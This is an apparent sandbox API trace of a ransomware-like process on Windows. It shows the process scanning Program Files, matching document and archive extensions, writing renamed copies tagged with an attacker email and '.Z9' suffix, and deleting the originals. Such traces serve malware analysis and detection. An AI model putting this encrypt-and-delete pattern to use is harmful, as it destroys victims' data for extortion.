	[0189.596] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcer.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcer.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.596] lstrcmpiW (lpString1=".mui", lpString2=".Z9") returned -1
	[0189.596] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcor.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcor.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0189.596] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=6144) returned 1
	[0189.596] CloseHandle (hObject=0x358) returned 1
	[0189.597] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcor.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcor.dll.mui")) returned 0x20
	[0189.597] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcor.dll.mui.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcor.dll.mui.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.597] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcor.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcor.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.597] lstrcmpiW (lpString1=".mui", lpString2=".Z9") returned -1
	[0189.597] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msaddsr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msaddsr.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0189.597] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=14336) returned 1
	[0189.597] CloseHandle (hObject=0x358) returned 1
	[0189.597] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msaddsr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msaddsr.dll.mui")) returned 0x20
	[0189.597] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msaddsr.dll.mui.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msaddsr.dll.mui.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.598] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msaddsr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msaddsr.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.598] lstrcmpiW (lpString1=".mui", lpString2=".Z9") returned -1
	[0189.598] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaprsr.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0189.598] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=7680) returned 1
	[0189.598] CloseHandle (hObject=0x358) returned 1
	[0189.598] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaprsr.dll.mui")) returned 0x20
	[0189.598] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaprsr.dll.mui.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.598] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaprsr.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.599] lstrcmpiW (lpString1=".mui", lpString2=".Z9") returned -1
	[0189.599] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaremr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaremr.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0189.599] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=6144) returned 1
	[0189.599] CloseHandle (hObject=0x358) returned 1
	[0189.599] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaremr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaremr.dll.mui")) returned 0x20
	[0189.599] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaremr.dll.mui.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaremr.dll.mui.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.599] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaremr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaremr.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.600] Sleep (dwMilliseconds=0x64) 
	[0189.911] lstrcmpiW (lpString1=".mui", lpString2=".Z9") returned -1
	[0189.911] lstrlenW (lpString="hmmapi.dll.mui") returned 14
	[0189.911] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\hmmapi.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0189.912] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=2560) returned 1
	[0189.912] CloseHandle (hObject=0x360) returned 1
	[0189.912] GetFileAttributesW (lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\hmmapi.dll.mui")) returned 0x20
	[0189.912] GetFileAttributesW (lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\internet explorer\\en-us\\hmmapi.dll.mui.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.913] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\hmmapi.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.913] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui") returned 55
	[0189.913] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui") returned 55
	[0189.913] lstrlenW (lpString=".doc") returned 4
	[0189.913] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0189.913] lstrlenW (lpString=".docx") returned 5
	[0189.913] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0189.913] lstrlenW (lpString=".pdf") returned 4
	[0189.913] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0189.913] lstrlenW (lpString=".xls") returned 4
	[0189.913] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0189.913] lstrlenW (lpString=".xlsx") returned 5
	[0189.913] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0189.913] lstrlenW (lpString=".ppt") returned 4
	[0189.913] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0189.913] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui") returned 55
	[0189.913] lstrlenW (lpString=".zip") returned 4
	[0189.913] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0189.913] lstrlenW (lpString=".rar") returned 4
	[0189.913] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0189.913] lstrlenW (lpString=".bz2") returned 4
	[0189.913] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0189.913] lstrlenW (lpString=".7z") returned 3
	[0189.913] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0189.913] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui") returned 55
	[0189.913] lstrlenW (lpString=".dbf") returned 4
	[0189.913] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0189.913] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui") returned 55
	[0189.913] lstrlenW (lpString=".1cd") returned 4
	[0189.913] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0189.913] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui") returned 55
	[0189.913] lstrlenW (lpString=".jpg") returned 4
	[0189.913] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0189.914] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui") returned 55
	[0189.914] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui") returned 55
	[0189.914] lstrlenW (lpString=".doc") returned 4
	[0189.914] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0189.914] lstrlenW (lpString=".docx") returned 5
	[0189.914] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0189.914] lstrlenW (lpString=".pdf") returned 4
	[0189.914] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0189.914] lstrlenW (lpString=".xls") returned 4
	[0189.914] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0189.914] lstrlenW (lpString=".xlsx") returned 5
	[0189.914] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0189.914] lstrlenW (lpString=".ppt") returned 4
	[0189.914] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0189.914] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui") returned 55
	[0189.914] lstrlenW (lpString=".zip") returned 4
	[0189.914] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0189.914] lstrlenW (lpString=".rar") returned 4
	[0189.914] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0189.914] lstrlenW (lpString=".bz2") returned 4
	[0189.914] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0189.914] lstrlenW (lpString=".7z") returned 3
	[0189.914] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0189.914] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui") returned 55
	[0189.914] lstrlenW (lpString=".dbf") returned 4
	[0189.914] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0189.914] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui") returned 55
	[0189.914] lstrlenW (lpString=".1cd") returned 4
	[0189.914] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0189.914] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui") returned 55
	[0189.914] lstrlenW (lpString=".jpg") returned 4
	[0189.914] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0189.919] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0189.920] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0189.920] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\limitedcatchexemption.exe.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\internet explorer\\limitedcatchexemption.exe.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0189.920] GetLastError () returned 0x0
	[0189.920] ReadFile (in: hFile=0x360, lpBuffer=0x3c57020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c57020*, lpNumberOfBytesRead=0x322fecc*=0x13200, lpOverlapped=0x0) returned 1
	[0189.966] WriteFile (in: hFile=0x358, lpBuffer=0x3c57020*, nNumberOfBytesToWrite=0x13210, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c57020*, lpNumberOfBytesWritten=0x322fc94*=0x13210, lpOverlapped=0x0) returned 1
	[0189.968] ReadFile (in: hFile=0x360, lpBuffer=0x3c57020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c57020*, lpNumberOfBytesRead=0x322fecc*=0x0, lpOverlapped=0x0) returned 1
	[0189.968] WriteFile (in: hFile=0x358, lpBuffer=0x3c57020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c57020*, lpNumberOfBytesWritten=0x322fc94*=0x106, lpOverlapped=0x0) returned 1
	[0189.968] SetEndOfFile (hFile=0x358) returned 1
	[0189.969] CloseHandle (hObject=0x358) returned 1
	[0189.969] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0189.969] SetEndOfFile (hFile=0x360) returned 1
	[0189.970] CloseHandle (hObject=0x360) returned 1
	[0189.970] SetFileAttributesW (lpFileName="C:\\Program Files\\Internet Explorer\\limitedcatchexemption.exe.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0189.970] DeleteFileW (lpFileName="C:\\Program Files\\Internet Explorer\\limitedcatchexemption.exe" (normalized: "c:\\program files\\internet explorer\\limitedcatchexemption.exe")) returned 1
	[0189.971] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\limitedcatchexemption.exe") returned 60
	[0189.971] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\limitedcatchexemption.exe") returned 60
	[0189.971] lstrlenW (lpString=".doc") returned 4
	[0189.971] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0189.971] lstrlenW (lpString=".docx") returned 5
	[0189.971] lstrcmpiW (lpString1=".docx", lpString2="n.exe") returned -1
	[0189.971] lstrlenW (lpString=".pdf") returned 4
	[0189.971] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0189.971] lstrlenW (lpString=".xls") returned 4
	[0189.971] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0189.971] lstrlenW (lpString=".xlsx") returned 5
	[0189.971] lstrcmpiW (lpString1=".xlsx", lpString2="n.exe") returned -1
	[0189.971] lstrlenW (lpString=".ppt") returned 4
	[0189.971] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0189.971] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\limitedcatchexemption.exe") returned 60
	[0189.971] lstrlenW (lpString=".zip") returned 4
	[0189.972] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0189.972] lstrlenW (lpString=".rar") returned 4
	[0189.972] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0189.972] lstrlenW (lpString=".bz2") returned 4
	[0189.972] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0189.972] lstrlenW (lpString=".7z") returned 3
	[0189.972] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0189.972] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\limitedcatchexemption.exe") returned 60
	[0189.972] lstrlenW (lpString=".dbf") returned 4
	[0189.972] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0189.972] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\limitedcatchexemption.exe") returned 60
	[0189.972] lstrlenW (lpString=".1cd") returned 4
	[0189.972] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0189.972] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\limitedcatchexemption.exe") returned 60
	[0189.972] lstrlenW (lpString=".jpg") returned 4
	[0189.972] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0189.972] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\limitedcatchexemption.exe") returned 60
	[0189.972] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\limitedcatchexemption.exe") returned 60
	[0189.972] lstrlenW (lpString=".doc") returned 4
	[0189.972] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0189.972] lstrlenW (lpString=".docx") returned 5
	[0189.972] lstrcmpiW (lpString1=".docx", lpString2="n.exe") returned -1
	[0189.972] lstrlenW (lpString=".pdf") returned 4
	[0189.972] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0189.972] lstrlenW (lpString=".xls") returned 4
	[0189.972] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0189.972] lstrlenW (lpString=".xlsx") returned 5
	[0189.972] lstrcmpiW (lpString1=".xlsx", lpString2="n.exe") returned -1
	[0189.972] lstrlenW (lpString=".ppt") returned 4
	[0189.972] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0189.972] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\limitedcatchexemption.exe") returned 60
	[0189.972] lstrlenW (lpString=".zip") returned 4
	[0189.972] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0189.972] lstrlenW (lpString=".rar") returned 4
	[0189.972] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0189.973] lstrlenW (lpString=".bz2") returned 4
	[0189.973] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0189.973] lstrlenW (lpString=".7z") returned 3
	[0189.973] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0189.973] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\limitedcatchexemption.exe") returned 60
	[0189.973] lstrlenW (lpString=".dbf") returned 4
	[0189.973] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0189.973] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\limitedcatchexemption.exe") returned 60
	[0189.973] lstrlenW (lpString=".1cd") returned 4
	[0189.973] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0189.973] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\limitedcatchexemption.exe") returned 60
	[0189.973] lstrlenW (lpString=".jpg") returned 4
	[0189.973] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0189.973] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0189.973] lstrlenW (lpString="sqmapi.dll") returned 10
	[0189.973] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\sqmapi.dll" (normalized: "c:\\program files\\internet explorer\\sqmapi.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0189.974] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=49688) returned 1
	[0189.974] CloseHandle (hObject=0x360) returned 1
	[0189.974] GetFileAttributesW (lpFileName="C:\\Program Files\\Internet Explorer\\sqmapi.dll" (normalized: "c:\\program files\\internet explorer\\sqmapi.dll")) returned 0x20
	[0189.974] GetFileAttributesW (lpFileName="C:\\Program Files\\Internet Explorer\\sqmapi.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\internet explorer\\sqmapi.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.975] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\sqmapi.dll" (normalized: "c:\\program files\\internet explorer\\sqmapi.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.975] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\sqmapi.dll") returned 45
	[0189.975] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\sqmapi.dll") returned 45
	[0189.975] lstrlenW (lpString=".doc") returned 4
	[0189.975] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0189.975] lstrlenW (lpString=".docx") returned 5
	[0189.975] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1
	[0189.975] lstrlenW (lpString=".pdf") returned 4
	[0189.975] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0189.975] lstrlenW (lpString=".xls") returned 4
	[0189.975] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0189.975] lstrlenW (lpString=".xlsx") returned 5
	[0189.975] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1
	[0189.975] lstrlenW (lpString=".ppt") returned 4
	[0189.975] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0189.975] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\sqmapi.dll") returned 45
	[0189.975] lstrlenW (lpString=".zip") returned 4
	[0189.975] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0189.975] lstrlenW (lpString=".rar") returned 4
	[0189.975] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0189.975] lstrlenW (lpString=".bz2") returned 4
	[0189.975] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0189.975] lstrlenW (lpString=".7z") returned 3
	[0189.975] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0189.975] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\sqmapi.dll") returned 45
	[0189.975] lstrlenW (lpString=".dbf") returned 4
	[0189.975] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0189.975] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\sqmapi.dll") returned 45
	[0189.975] lstrlenW (lpString=".1cd") returned 4
	[0189.975] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0189.975] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\sqmapi.dll") returned 45
	[0189.975] lstrlenW (lpString=".jpg") returned 4
	[0189.975] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0189.976] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\sqmapi.dll") returned 45
	[0189.976] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\sqmapi.dll") returned 45
	[0189.976] lstrlenW (lpString=".doc") returned 4
	[0189.976] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0189.976] lstrlenW (lpString=".docx") returned 5
	[0189.976] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1
	[0189.976] lstrlenW (lpString=".pdf") returned 4
	[0189.976] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0189.976] lstrlenW (lpString=".xls") returned 4
	[0189.976] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0189.976] lstrlenW (lpString=".xlsx") returned 5
	[0189.976] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1
	[0189.976] lstrlenW (lpString=".ppt") returned 4
	[0189.976] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0189.976] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\sqmapi.dll") returned 45
	[0189.976] lstrlenW (lpString=".zip") returned 4
	[0189.976] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0189.976] lstrlenW (lpString=".rar") returned 4
	[0189.976] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0189.976] lstrlenW (lpString=".bz2") returned 4
	[0189.976] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0189.976] lstrlenW (lpString=".7z") returned 3
	[0189.976] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0189.976] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\sqmapi.dll") returned 45
	[0189.976] lstrlenW (lpString=".dbf") returned 4
	[0189.976] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0189.976] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\sqmapi.dll") returned 45
	[0189.976] lstrlenW (lpString=".1cd") returned 4
	[0189.976] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0189.976] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\sqmapi.dll") returned 45
	[0189.976] lstrlenW (lpString=".jpg") returned 4
	[0189.976] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0189.977] lstrcmpiW (lpString1=".exe", lpString2=".Z9") returned -1
	[0189.977] lstrlenW (lpString="instructional_calibration_cheats.exe") returned 36
	[0189.977] CreateFileW (lpFileName="C:\\Program Files\\Java\\instructional_calibration_cheats.exe" (normalized: "c:\\program files\\java\\instructional_calibration_cheats.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0189.977] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=78336) returned 1
	[0189.977] CloseHandle (hObject=0x360) returned 1
	[0189.977] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\instructional_calibration_cheats.exe" (normalized: "c:\\program files\\java\\instructional_calibration_cheats.exe")) returned 0x20
	[0189.977] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\instructional_calibration_cheats.exe.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\instructional_calibration_cheats.exe.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.977] CreateFileW (lpFileName="C:\\Program Files\\Java\\instructional_calibration_cheats.exe" (normalized: "c:\\program files\\java\\instructional_calibration_cheats.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0189.978] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0189.978] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0189.978] CreateFileW (lpFileName="C:\\Program Files\\Java\\instructional_calibration_cheats.exe.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\instructional_calibration_cheats.exe.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0189.978] GetLastError () returned 0x0
